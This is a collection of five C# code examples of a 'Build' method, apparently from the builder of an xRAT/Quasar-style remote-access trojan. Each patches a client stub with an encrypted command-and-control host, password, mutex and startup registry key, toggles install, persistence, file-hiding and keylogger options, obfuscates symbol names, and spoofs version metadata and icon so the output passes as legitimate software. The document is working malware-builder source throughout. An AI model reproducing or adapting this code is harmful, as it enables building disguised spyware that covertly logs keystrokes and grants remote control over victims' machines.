예제 #1
0
        /// <summary>
        /// Builds a client executable.
        /// </summary>
        /// <remarks>
        /// Assumes the 'client.bin' file exist.
        /// </remarks>
        public static void Build(BuildOptions options)
        {
            // PHASE 1 - Settings
            string             encKey = FileHelper.GetRandomFilename(20);
            AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");

            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                if (typeDef.FullName == "xClient.Config.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            int strings = 1, bools = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                    case 1:     //version
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
                                        break;

                                    case 2:     //ip/hostname
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
                                        break;

                                    case 3:     //password
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
                                        break;

                                    case 4:     //installsub
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
                                        break;

                                    case 5:     //installname
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
                                        break;

                                    case 6:     //mutex
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
                                        break;

                                    case 7:     //startupkey
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
                                        break;

                                    case 8:     //encryption key
                                        methodDef.Body.Instructions[i].Operand = encKey;
                                        break;

                                    case 9:     //tag
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
                                        break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
                                         methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                                {
                                    switch (bools)
                                    {
                                    case 1:     //install
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
                                        break;

                                    case 2:     //startup
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
                                        break;

                                    case 3:     //hidefile
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
                                        break;

                                    case 4:     //Keylogger
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
                                        break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                {
                                    //reconnectdelay
                                    methodDef.Body.Instructions[i].Operand = options.Delay;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
                                }
                            }
                        }
                    }
                }
            }

            // PHASE 2 - Renaming
            Renamer r = new Renamer(asmDef);

            if (!r.Perform())
            {
                throw new Exception("renaming failed");
            }

            // PHASE 3 - Saving
            r.AsmDef.Write(options.OutputPath);

            // PHASE 4 - Assembly Information changing
            if (options.AssemblyInformation != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(options.OutputPath);

                versionResource.FileVersion    = options.AssemblyInformation[7];
                versionResource.ProductVersion = options.AssemblyInformation[6];
                versionResource.Language       = 0;

                StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"]      = options.AssemblyInformation[2];
                stringFileInfo["FileDescription"]  = options.AssemblyInformation[1];
                stringFileInfo["ProductName"]      = options.AssemblyInformation[0];
                stringFileInfo["LegalCopyright"]   = options.AssemblyInformation[3];
                stringFileInfo["LegalTrademarks"]  = options.AssemblyInformation[4];
                stringFileInfo["ProductVersion"]   = versionResource.ProductVersion;
                stringFileInfo["FileVersion"]      = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"]     = options.AssemblyInformation[5];
                stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];

                versionResource.SaveTo(options.OutputPath);
            }

            // PHASE 5 - Icon changing
            if (!string.IsNullOrEmpty(options.IconPath))
            {
                IconInjector.InjectIcon(options.OutputPath, options.IconPath);
            }
        }
예제 #2
0
        /// <summary>
        /// Builds a client executable.
        /// </summary>
        /// <remarks>
        /// Assumes the 'client.bin' file exist.
        /// </remarks>
        public static void Build(BuildOptions options)
        {
            // PHASE 1 - Settings
            string encKey = FileHelper.GetRandomFilename(20);
            AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");

            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                if (typeDef.FullName == "xClient.Config.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            int strings = 1, bools = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                        case 1: //version
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
                                            break;
                                        case 2: //ip/hostname
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
                                            break;
                                        case 3: //password
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
                                            break;
                                        case 4: //installsub
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
                                            break;
                                        case 5: //installname
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
                                            break;
                                        case 6: //mutex
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
                                            break;
                                        case 7: //startupkey
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
                                            break;
                                        case 8: //encryption key
                                            methodDef.Body.Instructions[i].Operand = encKey;
                                            break;
                                        case 9: //tag
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
                                            break;
                                        case 10: //LogDirectoryName
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
                                            break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
                                         methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                                {
                                    switch (bools)
                                    {
                                        case 1: //install
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
                                            break;
                                        case 2: //startup
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
                                            break;
                                        case 3: //hidefile
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
                                            break;
                                        case 4: //Keylogger
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
                                            break;
                                        case 5: //HideLogDirectory
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
                                            break;
                                        case 6: // HideInstallSubdirectory
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory));
                                            break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                {
                                    //reconnectdelay
                                    methodDef.Body.Instructions[i].Operand = options.Delay;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
                                }
                            }
                        }
                    }
                }
            }

            // PHASE 2 - Renaming
            Renamer r = new Renamer(asmDef);

            if (!r.Perform())
                throw new Exception("renaming failed");

            // PHASE 3 - Saving
            r.AsmDef.Write(options.OutputPath);

            // PHASE 4 - Assembly Information changing
            if (options.AssemblyInformation != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(options.OutputPath);

                versionResource.FileVersion = options.AssemblyInformation[7];
                versionResource.ProductVersion = options.AssemblyInformation[6];
                versionResource.Language = 0;

                StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
                stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
                stringFileInfo["ProductName"] = options.AssemblyInformation[0];
                stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
                stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
                stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
                stringFileInfo["FileVersion"] = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"] = options.AssemblyInformation[5];
                stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];

                versionResource.SaveTo(options.OutputPath);
            }

            // PHASE 5 - Icon changing
            if (!string.IsNullOrEmpty(options.IconPath))
                IconInjector.InjectIcon(options.OutputPath, options.IconPath);
        }
예제 #3
0
        public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo, string version)
        {
            // PHASE 1 - Settings
            string             encKey = Helper.Helper.GetRandomName(20);
            AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");

            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                if (typeDef.FullName == "xClient.Config.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            int strings = 1, bools = 1, ints = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                    case 1:     //version
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(version, encKey);
                                        break;

                                    case 2:     //ip/hostname
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
                                        break;

                                    case 3:     //password
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
                                        break;

                                    case 4:     //installsub
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
                                        break;

                                    case 5:     //installname
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
                                        break;

                                    case 6:     //mutex
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
                                        break;

                                    case 7:     //startupkey
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
                                        break;

                                    case 8:     //random encryption key
                                        methodDef.Body.Instructions[i].Operand = encKey;
                                        break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                                {
                                    switch (bools)
                                    {
                                    case 1:     //install
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
                                        break;

                                    case 2:     //startup
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
                                        break;

                                    case 3:     //hidefile
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
                                        break;

                                    case 4:     //AdminElevation
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(adminelevation));
                                        break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                {
                                    switch (ints)
                                    {
                                    case 1:     //port
                                        methodDef.Body.Instructions[i].Operand = port;
                                        break;

                                    case 2:     //reconnectdelay
                                        methodDef.Body.Instructions[i].Operand = reconnectdelay;
                                        break;
                                    }
                                    ints++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
                                }
                            }
                        }
                    }
                }
            }

            // PHASE 2 - Renaming
            Renamer r = new Renamer(asmDef);

            if (!r.Perform())
            {
                throw new Exception("renaming failed");
            }

            // PHASE 3 - Saving
            r.AsmDef.Write(output);

            // PHASE 4 - Assembly Information changing
            if (asminfo != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(output);

                versionResource.FileVersion    = asminfo[7];
                versionResource.ProductVersion = asminfo[6];
                versionResource.Language       = 0;

                StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"]      = asminfo[2];
                stringFileInfo["FileDescription"]  = asminfo[1];
                stringFileInfo["ProductName"]      = asminfo[0];
                stringFileInfo["LegalCopyright"]   = asminfo[3];
                stringFileInfo["LegalTrademarks"]  = asminfo[4];
                stringFileInfo["ProductVersion"]   = versionResource.ProductVersion;
                stringFileInfo["FileVersion"]      = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"]     = asminfo[5];
                stringFileInfo["OriginalFilename"] = asminfo[5];

                versionResource.SaveTo(output);
            }

            // PHASE 5 - Icon changing
            if (!string.IsNullOrEmpty(iconpath))
            {
                IconInjector.InjectIcon(output, iconpath);
            }
        }
예제 #4
0
        /// <summary>
        /// Builds a client executable. Assumes that the binaries for the client exist.
        /// </summary>
        /// <param name="output">The name of the final file.</param>
        /// <param name="tag">The tag to identify the client.</param>
        /// <param name="host">The raw host list.</param>
        /// <param name="password">The password that is used to connect to the website.</param>
        /// <param name="installsub">The sub-folder to install the client.</param>
        /// <param name="installname">Name of the installed executable.</param>
        /// <param name="mutex">The client's mutex</param>
        /// <param name="startupkey">The registry key to add for running on startup.</param>
        /// <param name="install">Decides whether to install the client on the machine.</param>
        /// <param name="startup">Determines whether to add the program to startup.</param>
        /// <param name="hidefile">Determines whether to hide the file.</param>
        /// <param name="keylogger">Determines if keylogging functionality should be activated.</param>
        /// <param name="reconnectdelay">The amount the client will wait until attempting to reconnect.</param>
        /// <param name="installpath">The installation path of the client.</param>
        /// <param name="iconpath">The path to the icon for the client.</param>
        /// <param name="asminfo">Information about the client executable's assembly information.</param>
        /// <param name="version">The version number of the client.</param>
        /// <exception cref="System.Exception">Thrown if the builder was unable to rename the client executable.</exception>
        /// <exception cref="System.ArgumentException">Thrown if an invalid special folder was specified.</exception>
        /// <exception cref="System.IO.FileLoadException">Thrown if the client binaries do not exist.</exception>
        public static void Build(string output, string tag, string host, string password, string installsub, string installname,
            string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger,
            int reconnectdelay, int installpath, string iconpath, string[] asminfo, string version)
        {
            // PHASE 1 - Settings
            string encKey = FileHelper.GetRandomFilename(20);
            AssemblyDefinition asmDef;
            try
            {
                asmDef = AssemblyDefinition.ReadAssembly("client.bin");
            }
            catch (Exception ex)
            {
                throw new FileLoadException(ex.Message);
            }

            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                if (typeDef.FullName == "xClient.Config.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            int strings = 1, bools = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                        case 1: //version
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(version, encKey);
                                            break;
                                        case 2: //ip/hostname
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
                                            break;
                                        case 3: //password
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
                                            break;
                                        case 4: //installsub
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
                                            break;
                                        case 5: //installname
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
                                            break;
                                        case 6: //mutex
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
                                            break;
                                        case 7: //startupkey
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
                                            break;
                                        case 8: //encryption key
                                            methodDef.Body.Instructions[i].Operand = encKey;
                                            break;
                                        case 9: //tag
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(tag, encKey);
                                            break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
                                         methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                                {
                                    switch (bools)
                                    {
                                        case 1: //install
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
                                            break;
                                        case 2: //startup
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
                                            break;
                                        case 3: //hidefile
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
                                            break;
                                        case 4: //Keylogger
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(keylogger));
                                            break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                {
                                    //reconnectdelay
                                    methodDef.Body.Instructions[i].Operand = reconnectdelay;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
                                }
                            }
                        }
                    }
                }
            }

            // PHASE 2 - Renaming
            Renamer r = new Renamer(asmDef);

            if (!r.Perform())
                throw new Exception("renaming failed");

            // PHASE 3 - Saving
            r.AsmDef.Write(output);

            // PHASE 4 - Assembly Information changing
            if (asminfo != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(output);

                versionResource.FileVersion = asminfo[7];
                versionResource.ProductVersion = asminfo[6];
                versionResource.Language = 0;

                StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"] = asminfo[2];
                stringFileInfo["FileDescription"] = asminfo[1];
                stringFileInfo["ProductName"] = asminfo[0];
                stringFileInfo["LegalCopyright"] = asminfo[3];
                stringFileInfo["LegalTrademarks"] = asminfo[4];
                stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
                stringFileInfo["FileVersion"] = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"] = asminfo[5];
                stringFileInfo["OriginalFilename"] = asminfo[5];

                versionResource.SaveTo(output);
            }

            // PHASE 5 - Icon changing
            if (!string.IsNullOrEmpty(iconpath))
                IconInjector.InjectIcon(output, iconpath);
        }
예제 #5
0
        /// <summary>
        /// Builds a client executable.
        /// </summary>
        /// <remarks>
        /// Assumes the 'client.bin' file exist.
        /// </remarks>
        public static void Build(BuildOptions options)
        {
            // PHASE 1 - Settings
            string encKey = FileHelper.GetRandomFilename(20), key, authKey;

            CryptographyHelper.DeriveKeys(options.Password, out key, out authKey);

            //Gets assembly info from Client.bin, but what about the extra assemblies?
            AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");


            //This looks to be where the modules are added.
            //Can most likely modify this to build a "light" client.
            //typeDef.FullName contains the information for the module. So we can create a custom array to create a light module, that can then be upgraded later.
            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                MessageBox.Show(typeDef.FullName);
                if (typeDef.FullName == "xClient.Config.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            int strings = 1, bools = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                    case 1:     //version
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
                                        break;

                                    case 2:     //ip/hostname
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
                                        break;

                                    case 3:     //key
                                        methodDef.Body.Instructions[i].Operand = key;
                                        break;

                                    case 4:     //authkey
                                        methodDef.Body.Instructions[i].Operand = authKey;
                                        break;

                                    case 5:     //installsub
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
                                        break;

                                    case 6:     //installname
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
                                        break;

                                    case 7:     //mutex
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
                                        break;

                                    case 8:     //startupkey
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
                                        break;

                                    case 9:     //encryption key
                                        methodDef.Body.Instructions[i].Operand = encKey;
                                        break;

                                    case 10:     //tag
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
                                        break;

                                    case 11:     //LogDirectoryName
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
                                        break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
                                         methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                                {
                                    switch (bools)
                                    {
                                    case 1:     //install
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
                                        break;

                                    case 2:     //startup
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
                                        break;

                                    case 3:     //hidefile
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
                                        break;

                                    case 4:     //Keylogger
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
                                        break;

                                    case 5:     //HideLogDirectory
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
                                        break;

                                    case 6:     // HideInstallSubdirectory
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory));
                                        break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                {
                                    //reconnectdelay
                                    methodDef.Body.Instructions[i].Operand = options.Delay;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
                                }
                            }
                        }
                    }
                }
            }

            // PHASE 2 - Renaming
            Renamer r = new Renamer(asmDef);

            if (!r.Perform())
            {
                throw new Exception("renaming failed");
            }

            // PHASE 3 - Saving
            r.AsmDef.Write(options.OutputPath);

            // PHASE 4 - Assembly Information changing
            if (options.AssemblyInformation != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(options.OutputPath);

                versionResource.FileVersion    = options.AssemblyInformation[7];
                versionResource.ProductVersion = options.AssemblyInformation[6];
                versionResource.Language       = 0;

                StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"]      = options.AssemblyInformation[2];
                stringFileInfo["FileDescription"]  = options.AssemblyInformation[1];
                stringFileInfo["ProductName"]      = options.AssemblyInformation[0];
                stringFileInfo["LegalCopyright"]   = options.AssemblyInformation[3];
                stringFileInfo["LegalTrademarks"]  = options.AssemblyInformation[4];
                stringFileInfo["ProductVersion"]   = versionResource.ProductVersion;
                stringFileInfo["FileVersion"]      = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"]     = options.AssemblyInformation[5];
                stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];

                versionResource.SaveTo(options.OutputPath);
            }

            // PHASE 5 - Icon changing
            if (!string.IsNullOrEmpty(options.IconPath))
            {
                IconInjector.InjectIcon(options.OutputPath, options.IconPath);
            }
        }